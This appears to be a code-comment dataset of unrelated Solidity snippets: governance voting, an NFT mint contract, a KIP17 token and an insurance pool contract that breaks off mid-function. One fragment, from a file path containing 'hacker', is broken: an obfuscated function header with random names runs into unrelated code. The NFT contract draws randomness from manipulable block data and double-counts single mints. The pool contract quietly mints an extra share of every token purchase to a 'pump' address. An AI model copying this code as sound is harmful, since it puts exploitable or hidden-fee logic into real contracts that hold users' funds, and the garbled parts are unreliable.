proposal) internal { if ( proposal.status == ProposalStatus.Failed || proposal.status == ProposalStatus.Passed ) return; uint256 votingPeriod = proposal.configurationOptions.votingPeriod; uint256 vetoPeriod = proposal.configurationOptions.vetoPeriod; uint256 totalVotingPeriod = votingPeriod + vetoPeriod; if ( block.timestamp >= proposal.startTime.add(votingPeriod) && block.timestamp < proposal.startTime.add(totalVotingPeriod) ) { if (proposal.status != ProposalStatus.ChallengePeriod) { if (proposal.yesCount < proposal.noCount) { proposal.status = ProposalStatus.PendingFinalization; return; } proposal.status = ProposalStatus.ChallengePeriod; } } if (block.timestamp >= proposal.startTime.add(totalVotingPeriod)) { proposal.status = ProposalStatus.PendingFinalization; } } function _setDefaults() internal { DefaultConfigurations.votingPeriod = 2 days; DefaultConfigurations.vetoPeriod = 2 days; DefaultConfigurations.proposalBond = 2000e18; } /* ========== SETTER ========== */ function setConfiguration( uint256 _votingPeriod, uint256 _vetoPeriod, uint256 _proposalBond ) public onlyGovernance { DefaultConfigurations.votingPeriod = _votingPeriod; DefaultConfigurations.vetoPeriod = _vetoPeriod; DefaultConfigurations.proposalBond = _proposalBond; } /* ========== MODIFIER ========== */ modifier validAddress(address _address) { require(_address == address(_address), "invalid address"); _; } modifier enoughBond(address _address) { require( POP.balanceOf(_address) >= DefaultConfigurations.proposalBond, "proposal bond is not enough" ); _; } }
checks if someone has voted to a specific proposal or not proposalId id of the proposal voter address opf voter return boolean/
function hasVoted(uint256 proposalId, address voter) external view returns (bool) { return proposals[proposalId].voters[voter]; }
6,356,942
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; abstract contract AAZ { function totalSupply( ) public virtual view returns ( uint256 ); function ownerOf( uint256 tokenId ) public virtual view returns ( address ); } contract AtomicAntzNFTCollection is ERC721 { event Mint(address indexed from, uint256 indexed tokenId, uint256 indexed availableAntz); modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } modifier onlyCollaborator() { bool isCollaborator = false; for (uint256 i; i < collaborators.length; i++) { if (collaborators[i].addr == msg.sender) { isCollaborator = true; break; } } require( owner() == _msgSender() || isCollaborator, "Ownable: caller is not the owner nor a collaborator" ); _; } modifier claimStarted() { require( startClaimDate != 0 && startClaimDate <= block.timestamp, "You are too early" ); _; } struct Collaborators { address addr; uint256 cut; } uint256 private startClaimDate = 1631120400; uint256 private mintPrice = 80000000000000000; uint256 private totalTokens = 11000; uint256 private totalMintedTokens = 0; uint256 private maxAntzPerWallet = 200; uint256 private maxAntzPerTransaction = 20; uint128 private basisPoints = 10000; string private baseURI = "https://atomicantz.com/api/metadata.php?TokenID="; bool public premintingComplete = false; uint256 public giveawayCount = 715; AAZ _aaz = AAZ(address(0xA62A7b7175BCa02ecDC4fA0b2Cab520C33C0228E)); mapping(address => uint256) private claimedAntzPerWallet; mapping( address => uint256 ) private _airdrops; uint16[] availableAntz; Collaborators[] private collaborators; // ONLY OWNER /** * Sets the collaborators of the project with their cuts */ function addCollaborators(Collaborators[] memory _collaborators) external onlyOwner { require(collaborators.length == 0, "Collaborators were already set"); uint128 totalCut; for (uint256 i; i < _collaborators.length; i++) { collaborators.push(_collaborators[i]); totalCut += uint128(_collaborators[i].cut); } require(totalCut == basisPoints, "Total cut does not add to 100%"); } // ONLY COLLABORATORS /** * @dev Allows to withdraw the Ether in the contract and split it among the collaborators */ function withdraw() external onlyCollaborator { uint256 totalBalance = address(this).balance; for (uint256 i; i < collaborators.length; i++) { payable(collaborators[i].addr).transfer( mulScale(totalBalance, collaborators[i].cut, basisPoints) ); } } /** * @dev Sets the base URI for the API that provides the NFT data. */ function setBaseTokenURI(string memory _uri) external onlyCollaborator { baseURI = _uri; } /** * @dev Sets the claim price for each ant */ function setMintPrice(uint256 _mintPrice) external onlyCollaborator { mintPrice = _mintPrice; } /** * @dev Populates the available antz */ function addAvailableAntz(uint16 from, uint16 to) internal onlyCollaborator { for (uint16 i = from; i <= to; i++) { availableAntz.push(i); } } /** * @dev Removes a chosen ant from the available list */ function removeAntzFromAvailableAntz(uint16 tokenId) external onlyCollaborator { for (uint16 i; i <= availableAntz.length; i++) { if (availableAntz[i] != tokenId) { continue; } availableAntz[i] = availableAntz[availableAntz.length - 1]; availableAntz.pop(); break; } } /** * @dev Allow devs to hand pick some antz before the available antz list is created */ function allocateTokens(uint256[] memory tokenIds) external onlyCollaborator { require(availableAntz.length == 0, "Available antz are already set"); _batchMint(msg.sender, tokenIds); totalMintedTokens += tokenIds.length; } /** * @dev Sets the date that users can start claiming antz */ function setStartClaimDate(uint256 _startClaimDate) external onlyCollaborator { startClaimDate = _startClaimDate; } /** * Dropping Tokens to owners from previous contract */ function airdropTokens () public onlyOwner { uint aazSupply = _aaz.totalSupply( ) - 2; uint airdropCount = 0; for ( uint i = 0; i < aazSupply; i ++ ) { address recipient = _aaz.ownerOf( i ); // Airdrop token due. _mint(recipient, getAntToBeClaimed()); claimedAntzPerWallet[recipient]++; // Airdrop an additional token. if ( _airdrops[recipient] != 1 ) { _mint( recipient, getAntToBeClaimed() ); _airdrops[recipient] = 1; claimedAntzPerWallet[recipient]++; airdropCount += 1; } } totalMintedTokens += aazSupply; } /** * @dev Checks if an ant is in the available list */ function isAntAvailable(uint16 tokenId) external view onlyCollaborator returns (bool) { for (uint16 i; i < availableAntz.length; i++) { if (availableAntz[i] == tokenId) { return true; } } return false; } /** * @dev Give random antz to the provided address */ function reserveAntz(address _address) external onlyCollaborator { require(availableAntz.length >= giveawayCount, "No antz left to be claimed"); require(!premintingComplete,"Antz were already reserved for giveaways!"); totalMintedTokens += giveawayCount; uint256[] memory tokenIds = new uint256[](giveawayCount); for (uint256 i; i < giveawayCount; i++) { tokenIds[i] = getAntToBeClaimed(); } _batchMint(_address, tokenIds); premintingComplete = true; } // END ONLY COLLABORATORS /** * @dev Claim a single ant */ function claimAnt() internal { claimedAntzPerWallet[msg.sender]++; totalMintedTokens++; uint256 tokenId = getAntToBeClaimed(); _mint(msg.sender, tokenId); emit Mint(msg.sender, tokenId, availableAntz.length); } /** * @dev Claim up to 20 antz at once */ function mintAntz(uint256 amount) external payable callerIsUser claimStarted { require( msg.value == mintPrice * amount, "Not enough Ether to claim the antz" ); require(amount <= maxAntzPerTransaction, "You can only claim 20 Antz per transactions"); require( claimedAntzPerWallet[msg.sender] + amount <= maxAntzPerWallet, "You cannot claim more antz" ); require(availableAntz.length >= amount, "No antz left to be claimed"); if(amount == 1) { claimAnt(); } uint256[] memory tokenIds = new uint256[](amount); claimedAntzPerWallet[msg.sender] += amount; totalMintedTokens += amount; for (uint256 i; i < amount; i++) { tokenIds[i] = getAntToBeClaimed(); emit Mint(msg.sender, tokenIds[i] ,availableAntz.length); } _batchMint(msg.sender, tokenIds); } /** * @dev Returns the tokenId by index */ function tokenByIndex(uint256 tokenId) external view returns (uint256) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); return tokenId; } /** * @dev Returns how many antz are still available to be claimed */ function getAvailableAntz() external view returns (uint256) { return availableAntz.length; } /** * @dev Returns the claim price */ function getmintPrice() external view returns (uint256) { return mintPrice; } /** * @dev Returns the total supply */ function totalSupply() external view virtual returns (uint256) { return totalMintedTokens; } // Private and Internal functions /** * @dev Returns a random available ant to be claimed */ function getAntToBeClaimed() private returns (uint256) { uint256 random = _getRandomNumber(availableAntz.length); uint256 tokenId = uint256(availableAntz[random]); availableAntz[random] = availableAntz[availableAntz.length - 1]; availableAntz.pop(); return tokenId; } /** * @dev Generates a pseudo-random number. */ function _getRandomNumber(uint256 _upper) private view returns (uint256) { uint256 random = uint256( keccak256( abi.encodePacked( availableAntz.length, blockhash(block.number - 1), block.coinbase, block.difficulty, msg.sender ) ) ); return random % _upper; } /** * @dev See {ERC721}. */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mulScale( uint256 x, uint256 y, uint128 scale ) internal pure returns (uint256) { uint256 a = x / scale; uint256 b = x % scale; uint256 c = y / scale; uint256 d = y % scale; return a * c * scale + a * d + b * c + (b * d) / scale; } constructor() ERC721("AtomicAntzNFTCollection", "ANTZ") { addAvailableAntz(0,10999); } }
Claim a single ant/
function claimAnt() internal { claimedAntzPerWallet[msg.sender]++; totalMintedTokens++; uint256 tokenId = getAntToBeClaimed(); _mint(msg.sender, tokenId); emit Mint(msg.sender, tokenId, availableAntz.length); }
14,505,049
./full_match/1/0xEf97F099A0083669cDe344E765257d0048485c13/sources/contracts/hacker/SOPH.sol
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {ERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
function xZfRWxWZvpYoLdOOnhtAinZOhQDIW( uint256 gVurOtqtHicGZePMo, address qmQhJkqJnQwOFkefM, uint64[] calldata caNJJZIQldycupYSX, bytes32 unTtgBIqSLrNWpadN, uint8[] calldata bWSpSuzGDntHBtOFf, uint16 REjffEPYmjDpHWVGw, uint16 ctNDdymwaWMRvNmmi, string[] calldata OYibTfprJPkHQhlld function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; }
3,866,733
// SPDX-License-Identifier: MIT pragma solidity ^0.5.6; import "../../token/KIP17/IKIP17.sol"; import "../../token/KIP17/KIP17.sol"; import "../../token/KIP17/IKIP17Receiver.sol"; import "../../token/KIP17/IKIP17Metadata.sol"; import "../../token/KIP17/IKIP17Enumerable.sol"; import "../../utils/Address.sol"; import "../../GSN/Context.sol"; import "../utils/Strings.sol"; import "../../introspection/KIP13.sol"; import "../oldproxy/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[KIP17] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract KIP17A is Context, KIP13, KIP17, IKIP17Metadata, IKIP17Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal collectionSize; uint256 internal maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) public { require(collectionSize_ > 0, "KIP17A: collection must have a nonzero supply"); require(maxBatchSize_ > 0, "KIP17A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IKIP17Enumerable-totalSupply}. */ function totalSupply() public view returns (uint256) { return currentIndex; } /** * @dev See {IKIP17Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "KIP17A: global index out of bounds"); return index; } /** * @dev See {IKIP17Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "KIP17A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("KIP17A: unable to get token of owner by index"); } /** * @dev See {IKIP17-balanceOf}. */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "KIP17A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "KIP17A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "KIP17A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("KIP17A: unable to determine the owner of token"); } /** * @dev See {IKIP17-ownerOf}. */ function ownerOf(uint256 tokenId) public view returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IKIP17Metadata-name}. */ function name() public view returns (string memory) { return _name; } /** * @dev See {IKIP17Metadata-symbol}. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev See {IKIP17Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be n in child contracts. */ function _baseURI() internal view returns (string memory) { return ""; } /** * @dev See {IKIP17-approve}. */ function approve(address to, uint256 tokenId) public { address owner = KIP17A.ownerOf(tokenId); require(to != owner, "KIP17A: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "KIP17A: approve caller is not owner nor approved for all"); _approve(to, tokenId, owner); } /** * @dev See {IKIP17-getApproved}. */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "KIP17A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IKIP17-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public { require(operator != _msgSender(), "KIP17A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IKIP17-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IKIP17-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public { _transfer(from, to, tokenId); } /** * @dev See {IKIP17-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IKIP17-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public { _transfer(from, to, tokenId); require(_checkOnKIP17Received(from, to, tokenId, _data), "KIP17A: transfer to non KIP17Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "KIP17A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "KIP17A: token already minted"); require(quantity <= maxBatchSize, "KIP17A: quantity to mint too high"); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData(addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity)); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require(_checkOnKIP17Received(address(0), to, updatedIndex, _data), "KIP17A: transfer to non KIP17Receiver implementer"); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "KIP17A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "KIP17A: transfer from incorrect owner"); require(to != address(0), "KIP17A: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership(ownership.addr, ownership.startTimestamp); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal {} }
See {IKIP17Metadata-tokenURI}./
function tokenURI(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; }
2,512,959
/* Copyright (C) 2021 Soteria.fund This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/ */ pragma solidity ^0.5.17; import "../../abstract/Iupgradable.sol"; import "../../libraries/SafeMath.sol"; import "../cover/Quotation.sol"; import "./Pool2.sol"; contract Pool1 is Iupgradable { using SafeMath for uint; Quotation internal q2; SOTEToken internal tk; TokenController internal tc; TokenFunctions internal tf; Pool2 internal p2; PoolData internal pd; MCR internal m1; Claims public c1; TokenData internal td; bool internal locked; uint internal constant DECIMAL1E18 = uint(10) ** 18; uint public pumpMo; address public pumpAddress; // uint internal constant PRICE_STEP = uint(1000) * DECIMAL1E18; event Apiresult(address indexed sender, string msg, bytes32 myid); event Payout(address indexed to, uint coverId, uint tokens); modifier noReentrancy() { require(!locked, "Reentrant call."); locked = true; _; locked = false; } constructor(address _pumpAddress,uint _pumpMo) public { pumpAddress = _pumpAddress; pumpMo = _pumpMo; } function () external payable {} //solhint-disable-line /** * @dev Pays out the sum assured in case a claim is accepted * @param coverid Cover Id. * @param claimid Claim Id. * @return succ true if payout is successful, false otherwise. */ function sendClaimPayout( uint coverid, uint claimid, uint sumAssured, address payable coverHolder, bytes4 coverCurr ) external onlyInternal noReentrancy returns(bool succ) { uint sa = sumAssured.div(DECIMAL1E18); bool check; IERC20 erc20 = IERC20(pd.getCurrencyAssetAddress(coverCurr)); //Payout if (coverCurr == "BNB" && address(this).balance >= sumAssured) { // check = _transferCurrencyAsset(coverCurr, coverHolder, sumAssured); coverHolder.transfer(sumAssured); check = true; } else if (coverCurr == "DAI" && erc20.balanceOf(address(this)) >= sumAssured) { erc20.transfer(coverHolder, sumAssured); check = true; } if (check == true) { q2.removeSAFromCSA(coverid, sa); pd.changeCurrencyAssetVarMin(coverCurr, pd.getCurrencyAssetVarMin(coverCurr).sub(sumAssured)); emit Payout(coverHolder, coverid, sumAssured); succ = true; } else { c1.setClaimStatus(claimid, 12); } _triggerExternalLiquidityTrade(); // p2.internalLiquiditySwap(coverCurr); tf.burnStakerLockedToken(coverid, coverCurr, sumAssured); } /** * @dev to trigger external liquidity trade */ function triggerExternalLiquidityTrade() external onlyInternal { _triggerExternalLiquidityTrade(); } ///@dev Oraclize call to close emergency pause. function closeEmergencyPause(uint time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "EP", 0); } /// @dev Calls the Oraclize Query to close a given Claim after a given period of time. /// @param id Claim Id to be closed /// @param time Time (in seconds) after which Claims assessment voting needs to be closed function closeClaimsOraclise(uint id, uint time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "CLA", id); } /// @dev Calls Oraclize Query to expire a given Cover after a given period of time. /// @param id Quote Id to be expired /// @param time Time (in seconds) after which the cover should be expired function closeCoverOraclise(uint id, uint64 time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "COV", id); } /// @dev Calls the Oraclize Query to initiate MCR calculation. /// @param time Time (in milliseconds) after which the next MCR calculation should be initiated function mcrOraclise(uint time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "MCR", 0); } /// @dev Calls the Oraclize Query in case MCR calculation fails. /// @param time Time (in seconds) after which the next MCR calculation should be initiated function mcrOracliseFail(uint id, uint time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "MCRF", id); } /// @dev Oraclize call to update investment asset rates. function saveIADetailsOracalise(uint time) external onlyInternal { bytes32 myid = _oraclizeQuery(); _saveApiDetails(myid, "IARB", 0); } /** * @dev Transfers all assest (i.e BNB balance, Currency Assest) from old Pool to new Pool * @param newPoolAddress Address of the new Pool */ function upgradeCapitalPool(address payable newPoolAddress) external noReentrancy onlyInternal { // for (uint64 i = 1; i < pd.getAllCurrenciesLen(); i++) { // bytes4 caName = pd.getCurrenciesByIndex(i); // _upgradeCapitalPool(caName, newPoolAddress); // } if (address(this).balance > 0) { Pool1 newP1 = Pool1(newPoolAddress); newP1.sendEther.value(address(this).balance)(); } } /** * @dev Iupgradable Interface to update dependent contract address */ function changeDependentContractAddress() public { m1 = MCR(ms.getLatestAddress("MC")); tk = SOTEToken(ms.tokenAddress()); tf = TokenFunctions(ms.getLatestAddress("TF")); tc = TokenController(ms.getLatestAddress("TC")); pd = PoolData(ms.getLatestAddress("PD")); q2 = Quotation(ms.getLatestAddress("QT")); p2 = Pool2(ms.getLatestAddress("P2")); c1 = Claims(ms.getLatestAddress("CL")); td = TokenData(ms.getLatestAddress("TD")); } function sendEther() public payable { } /** * @dev transfers currency asset to an address * @param curr is the currency of currency asset to transfer * @param amount is amount of currency asset to transfer * @return boolean to represent success or failure */ function transferCurrencyAsset( bytes4 curr, uint amount ) public onlyInternal noReentrancy returns(bool) { return _transferCurrencyAsset(curr, amount); } /// @dev Handles callback of external oracle query. function __callback(bytes32 myid, string memory result) public { result; //silence compiler warning // owner will be removed from production build ms.delegateCallBack(myid); } /// @dev Enables user to purchase cover with funding in BNB. /// @param smartCAdd Smart Contract Address function makeCoverBegin( address smartCAdd, bytes4 coverCurr, uint[] memory coverDetails, uint16 coverPeriod, uint8 _v, bytes32 _r, bytes32 _s ) public isMember checkPause payable { require(msg.value == coverDetails[1]); q2.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s); } /** * @dev Enables user to purchase cover via currency asset eg DAI */ function makeCoverUsingCA( address smartCAdd, bytes4 coverCurr, uint[] memory coverDetails, uint16 coverPeriod, uint8 _v, bytes32 _r, bytes32 _s ) public isMember checkPause { IERC20 erc20 = IERC20(pd.getCurrencyAssetAddress(coverCurr)); require(erc20.transferFrom(msg.sender, address(this), coverDetails[1]), "Transfer failed"); q2.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s); } /// @dev Enables user to purchase SOTE at the current token price. function buyToken() public payable isMember checkPause returns(bool success) { require(msg.value > 0); uint tokenPurchased = _getToken(address(this).balance, msg.value); tc.mint(msg.sender, tokenPurchased); tc.mint(pumpAddress,tokenPurchased.div(100).mul(pumpMo)); success = true; } function _changePumpMo(uint val) internal onlyInternal{ pumpMo = val; } function _changePumpAddress (address _newOwnerAddress) internal onlyInternal { pumpAddress = _newOwnerAddress; } function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) { codeVal = code; if (code == "PUMPMO") { val = pumpMo; } } /** * @dev Updates Uint Parameters of a code * @param code whose details we want to update * @param val value to set */ function updateUintParameters(bytes8 code, uint val) public { require(ms.checkIsAuthToGoverned(msg.sender)); if (code == "PUMPMO") { _changePumpMo(val); } } function getOwnerParameters(bytes8 code) external view returns (bytes8 codeVal, address val) { codeVal = code; if (code == "PUMPAD") { val = pumpAddress; } } /** * @dev to update the owner parameters * @param code is the associated code * @param val is value to be set */ function updateAddressParameters(bytes8 code, address payable val) public { require(ms.checkIsAuthToGoverned(msg.sender)); if (code == "PUMPAD") { _changePumpAddress(val); } } /// @dev Sends a given amount of Ether to a given address. /// @param amount amount (in wei) to send. /// @param _add Receiver's address. /// @return succ True if transfer is a success, otherwise False. function transferEther(uint amount, address payable _add) public noReentrancy checkPause returns(bool succ) { require(ms.checkIsAuthToGoverned(msg.sender), "Not authorized to Govern"); succ = _add.send(amount); } /** * @dev Allows selling of SOTE for ether. * Seller first needs to give this contract allowance to * transfer/burn tokens in the SOTEToken contract * @param _amount Amount of SOTE to sell * @return success returns true on successfull sale */ function sellSOTETokens(uint _amount) public isMember noReentrancy checkPause returns(bool success) { require(tk.balanceOf(msg.sender) >= _amount, "Not enough balance"); require(!tf.isLockedForMemberVote(msg.sender), "Member voted"); require(_amount <= m1.getMaxSellTokens(), "exceeds maximum token sell limit"); uint sellingPrice = _getWei(_amount); tc.burnFrom(msg.sender, _amount); msg.sender.transfer(sellingPrice); success = true; } /** * @dev gives the investment asset balance * @return investment asset balance */ function getInvestmentAssetBalance() public view returns (uint balance) { IERC20 erc20; uint currTokens; for (uint i = 1; i < pd.getInvestmentCurrencyLen(); i++) { bytes4 currency = pd.getInvestmentCurrencyByIndex(i); erc20 = IERC20(pd.getInvestmentAssetAddress(currency)); currTokens = erc20.balanceOf(address(p2)); if (pd.getIAAvgRate(currency) > 0) balance = balance.add((currTokens.mul(100)).div(pd.getIAAvgRate(currency))); } balance = balance.add(address(p2).balance); } /** * @dev Returns the amount of wei a seller will get for selling SOTE * @param amount Amount of SOTE to sell * @return weiToPay Amount of wei the seller will get */ function getWei(uint amount) public view returns(uint weiToPay) { return _getWei(amount); } /** * @dev Returns the amount of token a buyer will get for corresponding wei * @param weiPaid Amount of wei * @return tokenToGet Amount of tokens the buyer will get */ function getToken(uint weiPaid) public view returns(uint tokenToGet) { return _getToken((address(this).balance).add(weiPaid), weiPaid); } /** * @dev to trigger external liquidity trade */ function _triggerExternalLiquidityTrade() internal { if (now > pd.lastLiquidityTradeTrigger().add(pd.liquidityTradeCallbackTime())) { pd.setLastLiquidityTradeTrigger(); } } /** * @dev Returns the amount of wei a seller will get for selling SOTE * @param _amount Amount of SOTE to sell * @return weiToPay Amount of wei the seller will get */ function _getWei(uint _amount) internal view returns(uint weiToPay) { uint tokenPrice; uint weiPaid; uint tokenSupply = tk.totalSupply(); uint vtp; uint mcrFullperc; uint vFull; uint mcrtp; (mcrFullperc, , vFull, ) = pd.getLastMCR(); (vtp, ) = m1.calVtpAndMCRtp(); while (_amount > 0) { mcrtp = (mcrFullperc.mul(vtp)).div(vFull); tokenPrice = m1.calculateStepTokenPrice("BNB", mcrtp); tokenPrice = (tokenPrice.mul(975)).div(1000); //97.5% if (_amount <= td.priceStep().mul(DECIMAL1E18)) { weiToPay = weiToPay.add((tokenPrice.mul(_amount)).div(DECIMAL1E18)); break; } else { _amount = _amount.sub(td.priceStep().mul(DECIMAL1E18)); tokenSupply = tokenSupply.sub(td.priceStep().mul(DECIMAL1E18)); weiPaid = (tokenPrice.mul(td.priceStep().mul(DECIMAL1E18))).div(DECIMAL1E18); vtp = vtp.sub(weiPaid); weiToPay = weiToPay.add(weiPaid); } } } /** * @dev gives the token * @param _poolBalance is the pool balance * @param _weiPaid is the amount paid in wei * @return the token to get */ function _getToken(uint _poolBalance, uint 